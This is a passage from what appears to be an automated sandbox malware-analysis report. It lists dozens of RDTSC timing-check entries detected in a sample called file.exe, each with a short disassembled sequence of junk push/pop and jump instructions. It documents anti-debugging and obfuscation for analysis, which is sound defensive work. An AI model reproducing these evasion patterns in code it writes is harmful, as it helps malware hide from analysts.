0x00000071 push edx 0x00000072 pop edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3EFB second address: 12F3F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849CDA4202h 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F849CDA4206h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F4071 second address: 12F4075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB1EB second address: 12FB1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB1EF second address: 12FB1F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB1F7 second address: 12FB1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FBBD9 second address: 12FBBDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FBBDF second address: 12FBBF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jnl 00007F849CDA41F6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FC4D0 second address: 12FC4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FC4D8 second address: 12FC4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FC4E1 second address: 12FC4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FC4E5 second address: 12FC501 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA41FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F849CDA41F6h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FC501 second address: 12FC51C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F849C4F2D9Fh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FC51C second address: 12FC522 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FC522 second address: 12FC537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F849C4F2D9Ch 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FCABC second address: 12FCAD6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F849CDA4204h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FCAD6 second address: 12FCADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301A85 second address: 1301AB4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F849CDA41FCh 0x00000008 jnc 00007F849CDA41F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edx 0x00000012 jnl 00007F849CDA41F6h 0x00000018 pop edx 0x00000019 push eax 0x0000001a jmp 00007F849CDA4203h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305B41 second address: 1305B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305B47 second address: 1305B62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA4207h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305B62 second address: 1305B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F849C4F2D9Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305B72 second address: 1305B8A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F849CDA4203h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305B8A second address: 1305B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F849C4F2D96h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305B9C second address: 1305BA7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304CC7 second address: 1304CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304CD0 second address: 1304CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304CD4 second address: 1304CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304CDA second address: 1304CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F849CDA4204h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305130 second address: 1305140 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F849C4F2DA2h 0x00000008 jne 00007F849C4F2D96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13053E2 second address: 13053FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F849CDA4206h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130556B second address: 1305570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130585C second address: 1305863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305863 second address: 1305875 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F849C4F2D98h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jo 00007F849C4F2DB1h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130BDDF second address: 130BDF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849CDA41FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130BF14 second address: 130BF1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130BF1C second address: 130BF20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130BF20 second address: 130BF40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C1F8 second address: 130C1FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C1FC second address: 130C202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C202 second address: 130C208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C208 second address: 130C21F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F849C4F2D9Ch 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130CED6 second address: 130CEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130CEDA second address: 130CEE0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D5BF second address: 130D5E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA41FCh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F849CDA4209h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13148C8 second address: 13148CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13148CE second address: 13148D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13145EA second address: 13145EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13145EE second address: 1314606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F849CDA41F8h 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F849CDA41F6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1314606 second address: 131460A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1320703 second address: 132070F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F849CDA41FEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323890 second address: 1323894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323894 second address: 13238B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849CDA4209h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13238B8 second address: 13238CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849C4F2DA1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13238CE second address: 13238D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132343C second address: 1323440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323440 second address: 132345D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA4200h 0x00000007 jnc 00007F849CDA41F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1257A12 second address: 1257A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1257A16 second address: 1257A20 instructions: 0x00000000 rdtsc 0x00000002 js 00007F849CDA41F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334349 second address: 133434F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133434F second address: 133438A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F849CDA41F6h 0x00000008 js 00007F849CDA41F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jg 00007F849CDA41F6h 0x00000017 jns 00007F849CDA41F6h 0x0000001d jmp 00007F849CDA4207h 0x00000022 jno 00007F849CDA41F6h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125FE54 second address: 125FE5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F849C4F2D96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337BB5 second address: 1337BC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F849CDA41FAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337BC5 second address: 1337BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337BCB second address: 1337BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337BD1 second address: 1337BE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F849C4F2D96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337BE4 second address: 1337C18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F849CDA4203h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F849CDA4209h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D580 second address: 124D58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F849C4F2D96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D58A second address: 124D598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F849CDA41FCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A160 second address: 133A19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849C4F2D9Bh 0x00000009 push eax 0x0000000a jmp 00007F849C4F2DA1h 0x0000000f pop eax 0x00000010 push ebx 0x00000011 jmp 00007F849C4F2DA8h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1340CAE second address: 1340CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F40D second address: 133F418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F849C4F2D96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F418 second address: 133F41D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F93F second address: 133F945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FA82 second address: 133FA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FA8C second address: 133FA9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jne 00007F849C4F2D96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FA9B second address: 133FA9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FD5A second address: 133FD6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F849C4F2D9Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FD6C second address: 133FD7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA41FCh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FECF second address: 133FED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344365 second address: 134436D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134436D second address: 1344372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344372 second address: 1344378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C0D8 second address: 134C0DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C0DC second address: 134C0E6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F849CDA41F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C0E6 second address: 134C0EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D82C second address: 134D830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D830 second address: 134D870 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2DA6h 0x00000007 jmp 00007F849C4F2D9Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f jmp 00007F849C4F2D9Dh 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b pop eax 0x0000001c pushad 0x0000001d push eax 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D870 second address: 134D894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F849CDA41F6h 0x0000000a jmp 00007F849CDA4209h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13567D5 second address: 13567E5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F849C4F2D96h 0x00000008 jl 00007F849C4F2D96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1365440 second address: 1365444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375E81 second address: 1375E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375E87 second address: 1375E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374D85 second address: 1374D8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375050 second address: 1375055 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375055 second address: 137505B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137505B second address: 1375071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 jl 00007F849CDA41FAh 0x0000000e push eax 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375071 second address: 1375077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375077 second address: 137507B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13751DC second address: 13751F2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jc 00007F849C4F2D96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F849C4F2D9Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375349 second address: 1375364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA4204h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375364 second address: 1375382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push ebx 0x00000007 push esi 0x00000008 jmp 00007F849C4F2DA2h 0x0000000d pop esi 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13758CF second address: 13758D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F849CDA41F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375A09 second address: 1375A0E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375A0E second address: 1375A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F849CDA4200h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375B8C second address: 1375BA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2DA5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
